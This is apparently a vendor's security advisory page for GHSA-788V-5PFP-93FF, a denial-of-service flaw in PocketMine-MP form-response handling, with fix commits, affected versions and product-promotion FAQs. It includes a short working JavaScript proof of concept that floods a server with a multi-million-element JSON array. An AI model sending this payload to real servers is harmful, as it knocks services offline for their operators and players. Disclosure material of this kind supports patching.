GHSA-788V-5PFP-93FF

PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'Test';

const client = createClient({
  host,
  port,
  username,
  offline: true
});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');

  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });

  console.log('[*] Packet sent. The server should start freezing shortly.');
});

The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

Kodem intelligence

Already deployed Kodem?

The issue was fixed in two parts:

• cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
• f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

1. What is GHSA-788V-5PFP-93FF? GHSA-788V-5PFP-93FF is a high-severity allocation of resources without limits or throttling vulnerability in pocketmine/pocketmine-mp (composer), affecting versions < 5.39.2. It is fixed in 5.39.2. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
2. Which versions of pocketmine/pocketmine-mp are affected by GHSA-788V-5PFP-93FF? pocketmine/pocketmine-mp (composer) versions < 5.39.2 is affected.
3. Is there a fix for GHSA-788V-5PFP-93FF? Yes. GHSA-788V-5PFP-93FF is fixed in 5.39.2. Upgrade to this version or later.
4. Is GHSA-788V-5PFP-93FF exploitable, and should I be worried? Whether GHSA-788V-5PFP-93FF is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-788V-5PFP-93FF is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-788V-5PFP-93FF? Upgrade pocketmine/pocketmine-mp to 5.39.2 or later.

Other vulnerabilities in pocketmine/pocketmine-mp